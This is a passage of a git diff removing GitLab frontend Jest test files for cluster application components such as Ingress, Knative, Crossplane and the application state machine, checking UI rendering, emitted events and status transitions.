- beforeEach(() => {
- createComponent({ type: CLUSTER_TYPE.PROJECT });
- });
-
- it('renders a row for Ingress', () => {
- expect(wrapper.find('.js-cluster-application-row-ingress').exists()).toBe(true);
- });
-
- it('renders a row for Cert-Manager', () => {
- expect(wrapper.find('.js-cluster-application-row-cert_manager').exists()).toBe(true);
- });
-
- it('renders a row for Crossplane', () => {
- expect(wrapper.find('.js-cluster-application-row-crossplane').exists()).toBe(true);
- });
-
- it('renders a row for Prometheus', () => {
- expect(wrapper.find('.js-cluster-application-row-prometheus').exists()).toBe(true);
- });
-
- it('renders a row for GitLab Runner', () => {
- expect(wrapper.find('.js-cluster-application-row-runner').exists()).toBe(true);
- });
-
- it('renders a row for Jupyter', () => {
- expect(wrapper.find('.js-cluster-application-row-jupyter').exists()).toBe(true);
- });
-
- it('renders a row for Knative', () => {
- expect(wrapper.find('.js-cluster-application-row-knative').exists()).toBe(true);
- });
-
- it('renders a row for Elastic Stack', () => {
- expect(wrapper.find('.js-cluster-application-row-elastic_stack').exists()).toBe(true);
- });
-
- it('renders a row for Cilium', () => {
- expect(wrapper.find('.js-cluster-application-row-cilium').exists()).toBe(true);
- });
- });
-
- describe('Group cluster applications', () => {
- beforeEach(() => {
- createComponent({ type: CLUSTER_TYPE.GROUP });
- });
-
- it('renders a row for Ingress', () => {
- expect(wrapper.find('.js-cluster-application-row-ingress').exists()).toBe(true);
- });
-
- it('renders a row for Cert-Manager', () => {
- expect(wrapper.find('.js-cluster-application-row-cert_manager').exists()).toBe(true);
- });
-
- it('renders a row for Crossplane', () => {
- expect(wrapper.find('.js-cluster-application-row-crossplane').exists()).toBe(true);
- });
-
- it('renders a row for Prometheus', () => {
- expect(wrapper.find('.js-cluster-application-row-prometheus').exists()).toBe(true);
- });
-
- it('renders a row for GitLab Runner', () => {
- expect(wrapper.find('.js-cluster-application-row-runner').exists()).toBe(true);
- });
-
- it('renders a row for Jupyter', () => {
- expect(wrapper.find('.js-cluster-application-row-jupyter').exists()).toBe(true);
- });
-
- it('renders a row for Knative', () => {
- expect(wrapper.find('.js-cluster-application-row-knative').exists()).toBe(true);
- });
-
- it('renders a row for Elastic Stack', () => {
- expect(wrapper.find('.js-cluster-application-row-elastic_stack').exists()).toBe(true);
- });
-
- it('renders a row for Cilium', () => {
- expect(wrapper.find('.js-cluster-application-row-cilium').exists()).toBe(true);
- });
- });
-
- describe('Instance cluster applications', () => {
- beforeEach(() => {
- createComponent({ type: CLUSTER_TYPE.INSTANCE });
- });
-
- it('renders a row for Ingress', () => {
- expect(wrapper.find('.js-cluster-application-row-ingress').exists()).toBe(true);
- });
-
- it('renders a row for Cert-Manager', () => {
- expect(wrapper.find('.js-cluster-application-row-cert_manager').exists()).toBe(true);
- });
-
- it('renders a row for Crossplane', () => {
- expect(wrapper.find('.js-cluster-application-row-crossplane').exists()).toBe(true);
- });
-
- it('renders a row for Prometheus', () => {
- expect(wrapper.find('.js-cluster-application-row-prometheus').exists()).toBe(true);
- });
-
- it('renders a row for GitLab Runner', () => {
- expect(wrapper.find('.js-cluster-application-row-runner').exists()).toBe(true);
- });
-
- it('renders a row for Jupyter', () => {
- expect(wrapper.find('.js-cluster-application-row-jupyter').exists()).toBe(true);
- });
-
- it('renders a row for Knative', () => {
- expect(wrapper.find('.js-cluster-application-row-knative').exists()).toBe(true);
- });
-
- it('renders a row for Elastic Stack', () => {
- expect(wrapper.find('.js-cluster-application-row-elastic_stack').exists()).toBe(true);
- });
-
- it('renders a row for Cilium', () => {
- expect(wrapper.find('.js-cluster-application-row-cilium').exists()).toBe(true);
- });
- });
-
- describe('Helm application', () => {
- it('does not render a row for Helm Tiller', () => {
- createComponent();
- expect(wrapper.find('.js-cluster-application-row-helm').exists()).toBe(false);
- });
- });
-
- describe('Ingress application', () => {
- it('shows the correct warning message', () => {
- createComponent();
- expect(findByTestId('ingressCostWarning').element).toMatchSnapshot();
- });
-
- describe('when installed', () => {
- describe('with ip address', () => {
- it('renders ip address with a clipboard button', () => {
- createComponent({
- applications: {
- ingress: {
- title: 'Ingress',
- status: 'installed',
- externalIp: '0.0.0.0',
- },
- },
- });
-
- expect(wrapper.find('.js-endpoint').element.value).toEqual('0.0.0.0');
- expect(wrapper.find('.js-clipboard-btn').attributes('data-clipboard-text')).toEqual(
- '0.0.0.0',
- );
- });
- });
-
- describe('with hostname', () => {
- it('renders hostname with a clipboard button', () => {
- createComponent({
- applications: {
- ingress: {
- title: 'Ingress',
- status: 'installed',
- externalHostname: 'localhost.localdomain',
- },
- cert_manager: { title: 'Cert-Manager' },
- crossplane: { title: 'Crossplane', stack: '' },
- runner: { title: 'GitLab Runner' },
- prometheus: { title: 'Prometheus' },
- jupyter: { title: 'JupyterHub', hostname: '' },
- knative: { title: 'Knative', hostname: '' },
- elastic_stack: { title: 'Elastic Stack' },
- cilium: { title: 'GitLab Container Network Policies' },
- },
- });
-
- expect(wrapper.find('.js-endpoint').element.value).toEqual('localhost.localdomain');
-
- expect(wrapper.find('.js-clipboard-btn').attributes('data-clipboard-text')).toEqual(
- 'localhost.localdomain',
- );
- });
- });
-
- describe('without ip address', () => {
- it('renders an input text with a loading icon and an alert text', () => {
- createComponent({
- applications: {
- ingress: {
- title: 'Ingress',
- status: 'installed',
- },
- },
- });
-
- expect(wrapper.find('.js-ingress-ip-loading-icon').exists()).toBe(true);
- expect(wrapper.find('.js-no-endpoint-message').exists()).toBe(true);
- });
- });
- });
-
- describe('before installing', () => {
- it('does not render the IP address', () => {
- createComponent();
-
- expect(wrapper.text()).not.toContain('Ingress IP Address');
- expect(wrapper.find('.js-endpoint').exists()).toBe(false);
- });
- });
- });
-
- describe('Cert-Manager application', () => {
- it('shows the correct description', () => {
- createComponent();
- expect(findByTestId('certManagerDescription').element).toMatchSnapshot();
- });
-
- describe('when not installed', () => {
- it('renders email & allows editing', () => {
- createComponent({
- applications: {
- cert_manager: {
- title: 'Cert-Manager',
- email: 'before@example.com',
- status: 'installable',
- },
- },
- });
-
- expect(wrapper.find('.js-email').element.value).toEqual('before@example.com');
- expect(wrapper.find('.js-email').attributes('readonly')).toBe(undefined);
- });
- });
-
- describe('when installed', () => {
- it('renders email in readonly', () => {
- createComponent({
- applications: {
- cert_manager: {
- title: 'Cert-Manager',
- email: 'after@example.com',
- status: 'installed',
- },
- },
- });
-
- expect(wrapper.find('.js-email').element.value).toEqual('after@example.com');
- expect(wrapper.find('.js-email').attributes('readonly')).toEqual('readonly');
- });
- });
- });
-
- describe('Jupyter application', () => {
- describe('with ingress installed with ip & jupyter installable', () => {
- it('renders hostname active input', () => {
- createComponent({
- applications: {
- ingress: {
- title: 'Ingress',
- status: 'installed',
- externalIp: '1.1.1.1',
- },
- },
- });
-
- expect(
- wrapper.find('.js-cluster-application-row-jupyter .js-hostname').attributes('readonly'),
- ).toEqual(undefined);
- });
- });
-
- describe('with ingress installed without external ip', () => {
- it('does not render hostname input', () => {
- createComponent({
- applications: {
- ingress: { title: 'Ingress', status: 'installed' },
- },
- });
-
- expect(wrapper.find('.js-cluster-application-row-jupyter .js-hostname').exists()).toBe(
- false,
- );
- });
- });
-
- describe('with ingress & jupyter installed', () => {
- it('renders readonly input', () => {
- createComponent({
- applications: {
- ingress: {
- title: 'Ingress',
- status: 'installed',
- externalIp: '1.1.1.1',
- },
- jupyter: { title: 'JupyterHub', status: 'installed', hostname: '' },
- },
- });
-
- expect(
- wrapper.find('.js-cluster-application-row-jupyter .js-hostname').attributes('readonly'),
- ).toEqual('readonly');
- });
- });
-
- describe('without ingress installed', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('does not render input', () => {
- expect(wrapper.find('.js-cluster-application-row-jupyter .js-hostname').exists()).toBe(
- false,
- );
- });
- });
- });
-
- describe('Prometheus application', () => {
- it('shows the correct description', () => {
- createComponent();
- expect(findByTestId('prometheusDescription').element).toMatchSnapshot();
- });
- });
-
- describe('Knative application', () => {
- const availableDomain = {
- id: 4,
- domain: 'newhostname.com',
- };
- const propsData = {
- applications: {
- knative: {
- title: 'Knative',
- hostname: 'example.com',
- status: 'installed',
- externalIp: '1.1.1.1',
- installed: true,
- availableDomains: [availableDomain],
- pagesDomain: null,
- },
- },
- };
- let knativeDomainEditor;
-
- beforeEach(() => {
- createShallowComponent(propsData);
- jest.spyOn(eventHub, '$emit');
-
- knativeDomainEditor = wrapper.find(KnativeDomainEditor);
- });
-
- it('shows the correct description', async () => {
- createComponent();
- wrapper.setProps({
- providerType: PROVIDER_TYPE.GCP,
- preInstalledKnative: true,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(findByTestId('installed-via').element).toMatchSnapshot();
- });
-
- it('emits saveKnativeDomain event when knative domain editor emits save event', () => {
- propsData.applications.knative.hostname = availableDomain.domain;
- propsData.applications.knative.pagesDomain = availableDomain;
- knativeDomainEditor.vm.$emit('save');
-
- expect(eventHub.$emit).toHaveBeenCalledWith('saveKnativeDomain', {
- id: 'knative',
- params: {
- hostname: availableDomain.domain,
- pages_domain_id: availableDomain.id,
- },
- });
- });
-
- it('emits saveKnativeDomain event when knative domain editor emits save event with custom domain', () => {
- const newHostName = 'someothernewhostname.com';
- propsData.applications.knative.hostname = newHostName;
- propsData.applications.knative.pagesDomain = null;
- knativeDomainEditor.vm.$emit('save');
-
- expect(eventHub.$emit).toHaveBeenCalledWith('saveKnativeDomain', {
- id: 'knative',
- params: {
- hostname: newHostName,
- pages_domain_id: undefined,
- },
- });
- });
-
- it('emits setKnativeHostname event when knative domain editor emits change event', () => {
- wrapper.find(KnativeDomainEditor).vm.$emit('set', {
- domain: availableDomain.domain,
- domainId: availableDomain.id,
- });
-
- expect(eventHub.$emit).toHaveBeenCalledWith('setKnativeDomain', {
- id: 'knative',
- domain: availableDomain.domain,
- domainId: availableDomain.id,
- });
- });
- });
-
- describe('Crossplane application', () => {
- const propsData = {
- applications: {
- crossplane: {
- title: 'Crossplane',
- stack: {
- code: '',
- },
- },
- },
- };
-
- beforeEach(() => createShallowComponent(propsData));
-
- it('renders the correct Component', () => {
- const crossplane = wrapper.find(CrossplaneProviderStack);
- expect(crossplane.exists()).toBe(true);
- });
-
- it('shows the correct description', () => {
- createComponent();
- expect(findByTestId('crossplaneDescription').element).toMatchSnapshot();
- });
- });
-
- describe('Elastic Stack application', () => {
- describe('with elastic stack installable', () => {
- it('renders the install button enabled', () => {
- createComponent();
-
- expect(
- wrapper
- .find(
- '.js-cluster-application-row-elastic_stack .js-cluster-application-install-button',
- )
- .attributes('disabled'),
- ).toBeUndefined();
- });
- });
-
- describe('elastic stack installed', () => {
- it('renders uninstall button', () => {
- createComponent({
- applications: {
- elastic_stack: { title: 'Elastic Stack', status: 'installed' },
- },
- });
-
- expect(
- wrapper
- .find(
- '.js-cluster-application-row-elastic_stack .js-cluster-application-install-button',
- )
- .attributes('disabled'),
- ).toEqual('disabled');
- });
- });
- });
-
- describe('Cilium application', () => {
- it('shows the correct description', () => {
- createComponent({ propsData: { ciliumHelpPath: 'cilium-help-path' } });
- expect(findByTestId('ciliumDescription').element).toMatchSnapshot();
- });
- });
-});
diff --git a/spec/frontend/clusters/components/knative_domain_editor_spec.js b/spec/frontend/clusters/components/knative_domain_editor_spec.js
deleted file mode 100644
index 207eb071171..00000000000
--- a/spec/frontend/clusters/components/knative_domain_editor_spec.js
+++ /dev/null
@@ -1,179 +0,0 @@
-import { GlDropdownItem, GlButton } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import KnativeDomainEditor from '~/clusters/components/knative_domain_editor.vue';
-import { APPLICATION_STATUS } from '~/clusters/constants';
-
-const { UPDATING } = APPLICATION_STATUS;
-
-describe('KnativeDomainEditor', () => {
- let wrapper;
- let knative;
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(KnativeDomainEditor, {
- propsData: { ...props },
- });
- };
-
- beforeEach(() => {
- knative = {
- title: 'Knative',
- hostname: 'example.com',
- installed: true,
- };
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('knative has an assigned IP address', () => {
- beforeEach(() => {
- knative.externalIp = '1.1.1.1';
- createComponent({ knative });
- });
-
- it('renders ip address with a clipboard button', () => {
- expect(wrapper.find('.js-knative-endpoint').exists()).toBe(true);
- expect(wrapper.find('.js-knative-endpoint').element.value).toEqual(knative.externalIp);
- });
-
- it('displays ip address clipboard button', () => {
- expect(wrapper.find('.js-knative-endpoint-clipboard-btn').attributes('text')).toEqual(
- knative.externalIp,
- );
- });
-
- it('renders domain & allows editing', () => {
- const domainNameInput = wrapper.find('.js-knative-domainname');
-
- expect(domainNameInput.element.value).toEqual(knative.hostname);
- expect(domainNameInput.attributes('readonly')).toBeFalsy();
- });
-
- it('renders an update/save Knative domain button', () => {
- expect(wrapper.find('.js-knative-save-domain-button').exists()).toBe(true);
- });
- });
-
- describe('knative without ip address', () => {
- beforeEach(() => {
- knative.externalIp = null;
- createComponent({ knative });
- });
-
- it('renders an input text with a loading icon', () => {
- expect(wrapper.find('.js-knative-ip-loading-icon').exists()).toBe(true);
- });
-
- it('renders message indicating there is not IP address assigned', () => {
- expect(wrapper.find('.js-no-knative-endpoint-message').exists()).toBe(true);
- });
- });
-
- describe('clicking save changes button', () => {
- beforeEach(() => {
- createComponent({ knative });
- });
-
- it('triggers save event and pass current knative hostname', () => {
- wrapper.find(GlButton).vm.$emit('click');
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('save').length).toEqual(1);
- });
- });
- });
-
- describe('when knative domain name was saved successfully', () => {
- beforeEach(() => {
- createComponent({ knative });
- });
-
- it('displays toast indicating a successful update', () => {
- wrapper.vm.$toast = { show: jest.fn() };
- wrapper.setProps({ knative: { updateSuccessful: true, ...knative } });
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(
- 'Knative domain name was updated successfully.',
- );
- });
- });
- });
-
- describe('when knative domain name input changes', () => {
- it('emits "set" event with updated domain name', () => {
- const newDomain = {
- id: 4,
- domain: 'newhostname.com',
- };
-
- createComponent({ knative: { ...knative, availableDomains: [newDomain] } });
- jest.spyOn(wrapper.vm, 'selectDomain');
-
- wrapper.find(GlDropdownItem).vm.$emit('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.selectDomain).toHaveBeenCalledWith(newDomain);
- expect(wrapper.emitted('set')[0]).toEqual([
- {
- domain: newDomain.domain,
- domainId: newDomain.id,
- },
- ]);
- });
- });
-
- it('emits "set" event with updated custom domain name', () => {
- const newHostname = 'newhostname.com';
-
- createComponent({ knative });
- jest.spyOn(wrapper.vm, 'selectCustomDomain');
-
- wrapper.setData({ knativeHostname: newHostname });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.selectCustomDomain).toHaveBeenCalledWith(newHostname);
- expect(wrapper.emitted('set')[0]).toEqual([
- {
- domain: newHostname,
- domainId: null,
- },
- ]);
- });
- });
- });
-
- describe('when updating knative domain name failed', () => {
- beforeEach(() => {
- createComponent({ knative });
- });
-
- it('displays an error banner indicating the operation failure', () => {
- wrapper.setProps({ knative: { updateFailed: true, ...knative } });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find('.js-cluster-knative-domain-name-failure-message').exists()).toBe(true);
- });
- });
- });
-
- describe(`when knative status is ${UPDATING}`, () => {
- beforeEach(() => {
- createComponent({ knative: { status: UPDATING, ...knative } });
- });
-
- it('renders loading spinner in save button', () => {
- expect(wrapper.find(GlButton).props('loading')).toBe(true);
- });
-
- it('renders disabled save button', () => {
- expect(wrapper.find(GlButton).props('disabled')).toBe(true);
- });
-
- it('renders save button with "Saving" label', () => {
- expect(wrapper.find(GlButton).text()).toBe('Saving');
- });
- });
-});
diff --git a/spec/frontend/clusters/components/uninstall_application_button_spec.js b/spec/frontend/clusters/components/uninstall_application_button_spec.js
deleted file mode 100644
index 2596820e5ac..00000000000
--- a/spec/frontend/clusters/components/uninstall_application_button_spec.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import { GlButton } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import UninstallApplicationButton from '~/clusters/components/uninstall_application_button.vue';
-import { APPLICATION_STATUS } from '~/clusters/constants';
-
-const { INSTALLED, UPDATING, UNINSTALLING } = APPLICATION_STATUS;
-
-describe('UninstallApplicationButton', () => {
- let wrapper;
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(UninstallApplicationButton, {
- propsData: { ...props },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe.each`
- status | loading | disabled | text
- ${INSTALLED} | ${false} | ${false} | ${'Uninstall'}
- ${UPDATING} | ${false} | ${true} | ${'Uninstall'}
- ${UNINSTALLING} | ${true} | ${true} | ${'Uninstalling'}
- `('when app status is $status', ({ loading, disabled, status, text }) => {
- beforeEach(() => {
- createComponent({ status });
- });
-
- it(`renders a button with loading=${loading} and disabled=${disabled}`, () => {
- expect(wrapper.find(GlButton).props()).toMatchObject({ loading, disabled });
- });
-
- it(`renders a button with text="${text}"`, () => {
- expect(wrapper.find(GlButton).text()).toBe(text);
- });
- });
-});
diff --git a/spec/frontend/clusters/components/uninstall_application_confirmation_modal_spec.js b/spec/frontend/clusters/components/uninstall_application_confirmation_modal_spec.js
deleted file mode 100644
index 74ae4ecc486..00000000000
--- a/spec/frontend/clusters/components/uninstall_application_confirmation_modal_spec.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import { GlModal } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import UninstallApplicationConfirmationModal from '~/clusters/components/uninstall_application_confirmation_modal.vue';
-import { INGRESS } from '~/clusters/constants';
-
-describe('UninstallApplicationConfirmationModal', () => {
- let wrapper;
- const appTitle = 'Ingress';
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(UninstallApplicationConfirmationModal, {
- propsData: { ...props },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- beforeEach(() => {
- createComponent({ application: INGRESS, applicationTitle: appTitle });
- });
-
- it(`renders a modal with a title "Uninstall ${appTitle}"`, () => {
- expect(wrapper.find(GlModal).attributes('title')).toEqual(`Uninstall ${appTitle}`);
- });
-
- it(`renders a modal with an ok button labeled "Uninstall ${appTitle}"`, () => {
- expect(wrapper.find(GlModal).attributes('ok-title')).toEqual(`Uninstall ${appTitle}`);
- });
-
- describe('when ok button is clicked', () => {
- beforeEach(() => {
- jest.spyOn(wrapper.vm, 'trackUninstallButtonClick');
- wrapper.find(GlModal).vm.$emit('ok');
- });
-
- it('emits confirm event', () =>
- wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('confirm')).toBeTruthy();
- }));
-
- it('calls track uninstall button click mixin', () => {
- expect(wrapper.vm.trackUninstallButtonClick).toHaveBeenCalledWith(INGRESS);
- });
- });
-
- it('displays a warning text indicating the app will be uninstalled', () => {
- expect(wrapper.text()).toContain(`You are about to uninstall ${appTitle} from your cluster.`);
- });
-
- it('displays a custom warning text depending on the application', () => {
- expect(wrapper.text()).toContain(
- `The associated load balancer and IP will be deleted and cannot be restored.`,
- );
- });
-});
diff --git a/spec/frontend/clusters/components/update_application_confirmation_modal_spec.js b/spec/frontend/clusters/components/update_application_confirmation_modal_spec.js
deleted file mode 100644
index e933f17a980..00000000000
--- a/spec/frontend/clusters/components/update_application_confirmation_modal_spec.js
+++ /dev/null
@@ -1,52 +0,0 @@
-import { GlModal } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import UpdateApplicationConfirmationModal from '~/clusters/components/update_application_confirmation_modal.vue';
-import { ELASTIC_STACK } from '~/clusters/constants';
-
-describe('UpdateApplicationConfirmationModal', () => {
- let wrapper;
- const appTitle = 'Elastic stack';
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(UpdateApplicationConfirmationModal, {
- propsData: { ...props },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- beforeEach(() => {
- createComponent({ application: ELASTIC_STACK, applicationTitle: appTitle });
- });
-
- it(`renders a modal with a title "Update ${appTitle}"`, () => {
- expect(wrapper.find(GlModal).attributes('title')).toEqual(`Update ${appTitle}`);
- });
-
- it(`renders a modal with an ok button labeled "Update ${appTitle}"`, () => {
- expect(wrapper.find(GlModal).attributes('ok-title')).toEqual(`Update ${appTitle}`);
- });
-
- describe('when ok button is clicked', () => {
- beforeEach(() => {
- wrapper.find(GlModal).vm.$emit('ok');
- });
-
- it('emits confirm event', () =>
- wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('confirm')).toBeTruthy();
- }));
-
- it('displays a warning text indicating the app will be updated', () => {
- expect(wrapper.text()).toContain(`You are about to update ${appTitle} on your cluster.`);
- });
-
- it('displays a custom warning text depending on the application', () => {
- expect(wrapper.text()).toContain(
- `Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days.`,
- );
- });
- });
-});
diff --git a/spec/frontend/clusters/services/application_state_machine_spec.js b/spec/frontend/clusters/services/application_state_machine_spec.js
deleted file mode 100644
index 4e731e331c2..00000000000
--- a/spec/frontend/clusters/services/application_state_machine_spec.js
+++ /dev/null
@@ -1,206 +0,0 @@
-import {
- APPLICATION_STATUS,
- UNINSTALL_EVENT,
- UPDATE_EVENT,
- INSTALL_EVENT,
-} from '~/clusters/constants';
-import transitionApplicationState from '~/clusters/services/application_state_machine';
-
-const {
- NO_STATUS,
- SCHEDULED,
- NOT_INSTALLABLE,
- INSTALLABLE,
- INSTALLING,
- INSTALLED,
- ERROR,
- UPDATING,
- UPDATED,
- UPDATE_ERRORED,
- UNINSTALLING,
- UNINSTALL_ERRORED,
- UNINSTALLED,
- PRE_INSTALLED,
- EXTERNALLY_INSTALLED,
-} = APPLICATION_STATUS;
-
-const NO_EFFECTS = 'no effects';
-
-describe('applicationStateMachine', () => {
- const noEffectsToEmptyObject = (effects) => (typeof effects === 'string' ? {} : effects);
-
- describe(`current state is ${NO_STATUS}`, () => {
- it.each`
- expectedState | event | effects
- ${INSTALLING} | ${SCHEDULED} | ${NO_EFFECTS}
- ${NOT_INSTALLABLE} | ${NOT_INSTALLABLE} | ${NO_EFFECTS}
- ${INSTALLABLE} | ${INSTALLABLE} | ${NO_EFFECTS}
- ${INSTALLING} | ${INSTALLING} | ${NO_EFFECTS}
- ${INSTALLED} | ${INSTALLED} | ${NO_EFFECTS}
- ${INSTALLABLE} | ${ERROR} | ${{ installFailed: true }}
- ${UPDATING} | ${UPDATING} | ${NO_EFFECTS}
- ${INSTALLED} | ${UPDATED} | ${NO_EFFECTS}
- ${INSTALLED} | ${UPDATE_ERRORED} | ${{ updateFailed: true }}
- ${UNINSTALLING} | ${UNINSTALLING} | ${NO_EFFECTS}
- ${INSTALLED} | ${UNINSTALL_ERRORED} | ${{ uninstallFailed: true }}
- ${UNINSTALLED} | ${UNINSTALLED} | ${NO_EFFECTS}
- ${PRE_INSTALLED} | ${PRE_INSTALLED} | ${NO_EFFECTS}
- ${EXTERNALLY_INSTALLED} | ${EXTERNALLY_INSTALLED} | ${NO_EFFECTS}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: NO_STATUS,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...noEffectsToEmptyObject(effects),
- });
- });
- });
-
- describe(`current state is ${NOT_INSTALLABLE}`, () => {
- it.each`
- expectedState | event | effects
- ${INSTALLABLE} | ${INSTALLABLE} | ${NO_EFFECTS}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: NOT_INSTALLABLE,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...noEffectsToEmptyObject(effects),
- });
- });
- });
-
- describe(`current state is ${INSTALLABLE}`, () => {
- it.each`
- expectedState | event | effects
- ${INSTALLING} | ${INSTALL_EVENT} | ${{ installFailed: false }}
- ${INSTALLED} | ${INSTALLED} | ${{ installFailed: false }}
- ${NOT_INSTALLABLE} | ${NOT_INSTALLABLE} | ${NO_EFFECTS}
- ${UNINSTALLED} | ${UNINSTALLED} | ${{ installFailed: false }}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: INSTALLABLE,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...noEffectsToEmptyObject(effects),
- });
- });
- });
-
- describe(`current state is ${INSTALLING}`, () => {
- it.each`
- expectedState | event | effects
- ${INSTALLED} | ${INSTALLED} | ${NO_EFFECTS}
- ${INSTALLABLE} | ${ERROR} | ${{ installFailed: true }}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: INSTALLING,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...noEffectsToEmptyObject(effects),
- });
- });
- });
-
- describe(`current state is ${INSTALLED}`, () => {
- it.each`
- expectedState | event | effects
- ${UPDATING} | ${UPDATE_EVENT} | ${{ updateFailed: false, updateSuccessful: false }}
- ${UNINSTALLING} | ${UNINSTALL_EVENT} | ${{ uninstallFailed: false, uninstallSuccessful: false }}
- ${NOT_INSTALLABLE} | ${NOT_INSTALLABLE} | ${NO_EFFECTS}
- ${UNINSTALLED} | ${UNINSTALLED} | ${NO_EFFECTS}
- ${INSTALLABLE} | ${ERROR} | ${{ installFailed: true }}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: INSTALLED,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...noEffectsToEmptyObject(effects),
- });
- });
- });
-
- describe(`current state is ${UPDATING}`, () => {
- it.each`
- expectedState | event | effects
- ${INSTALLED} | ${UPDATED} | ${{ updateSuccessful: true }}
- ${INSTALLED} | ${UPDATE_ERRORED} | ${{ updateFailed: true }}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: UPDATING,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...effects,
- });
- });
- });
-
- describe(`current state is ${UNINSTALLING}`, () => {
- it.each`
- expectedState | event | effects
- ${INSTALLABLE} | ${INSTALLABLE} | ${{ uninstallSuccessful: true }}
- ${INSTALLED} | ${UNINSTALL_ERRORED} | ${{ uninstallFailed: true }}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: UNINSTALLING,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...effects,
- });
- });
- });
-
- describe(`current state is ${UNINSTALLED}`, () => {
- it.each`
- expectedState | event | effects
- ${INSTALLED} | ${INSTALLED} | ${NO_EFFECTS}
- ${INSTALLABLE} | ${ERROR} | ${{ installFailed: true }}
- `(`transitions to $expectedState on $event event and applies $effects`, (data) => {
- const { expectedState, event, effects } = data;
- const currentAppState = {
- status: UNINSTALLED,
- };
-
- expect(transitionApplicationState(currentAppState, event)).toEqual({
- status: expectedState,
- ...noEffectsToEmptyObject(effects),
- });
- });
- });
- describe('current state is undefined', () => {
- it('returns the current state without having any effects', () => {
- const currentAppState = {};
- expect(transitionApplicationState(currentAppState, INSTALLABLE)).toEqual(currentAppState);
- });
- });
-
- describe('with event is undefined', () => {
- it('returns the current state without having any effects', () => {
- const currentAppState = {
- status: NO_STATUS,
- };
- expect(transitionApplicationState(currentAppState, undefined)).toEqual(currentAppState);
- });
- });
-});
diff --git a/spec/frontend/clusters/services/crossplane_provider_stack_spec.js b/spec/frontend/clusters/services/crossplane_provider_stack_spec.js
deleted file mode 100644
index f95b175ca64..00000000000
--- a/spec/frontend/clusters/services/crossplane_provider_stack_spec.js
+++ /dev/null
@@ -1,85 +0,0 @@
-import { GlDropdownItem, GlIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import CrossplaneProviderStack from '~/clusters/components/crossplane_provider_stack.vue';
-
-describe('CrossplaneProviderStack component', () => {
- let wrapper;
-
- const defaultProps = {
- stacks: [
- {
- name: 'Google Cloud Platform',
- code: 'gcp',
- },
- {
- name: 'Amazon Web Services',
- code: 'aws',
- },
- ],
- };
-
- function createComponent(props = {}) {
- const propsData = {
- ...defaultProps,
- ...props,
- };
-
- wrapper = shallowMount(CrossplaneProviderStack, {
- propsData,
- });
- }
-
- beforeEach(() => {
- const crossplane = {
- title: 'crossplane',
- stack: '',
- };
- createComponent({ crossplane });
- });
-
- const findDropdownElements = () => wrapper.findAll(GlDropdownItem);
- const findFirstDropdownElement = () => findDropdownElements().at(0);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders all of the available stacks in the dropdown', () => {
- const dropdownElements = findDropdownElements();
-
- expect(dropdownElements.length).toBe(defaultProps.stacks.length);
-
- defaultProps.stacks.forEach((stack, index) =>
- expect(dropdownElements.at(index).text()).toEqual(stack.name),
- );
- });
-
- it('displays the correct label for the first dropdown item if a stack is selected', () => {
- const crossplane = {
- title: 'crossplane',
- stack: 'gcp',
- };
- createComponent({ crossplane });
- expect(wrapper.vm.dropdownText).toBe('Google Cloud Platform');
- });
-
- it('emits the "set" event with the selected stack value', () => {
- const crossplane = {
- title: 'crossplane',
- stack: 'gcp',
- };
- createComponent({ crossplane });
- findFirstDropdownElement().vm.$emit('click');
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted().set[0][0].code).toEqual('gcp');
- });
- });
-
- it('renders the correct dropdown text when no stack is selected', () => {
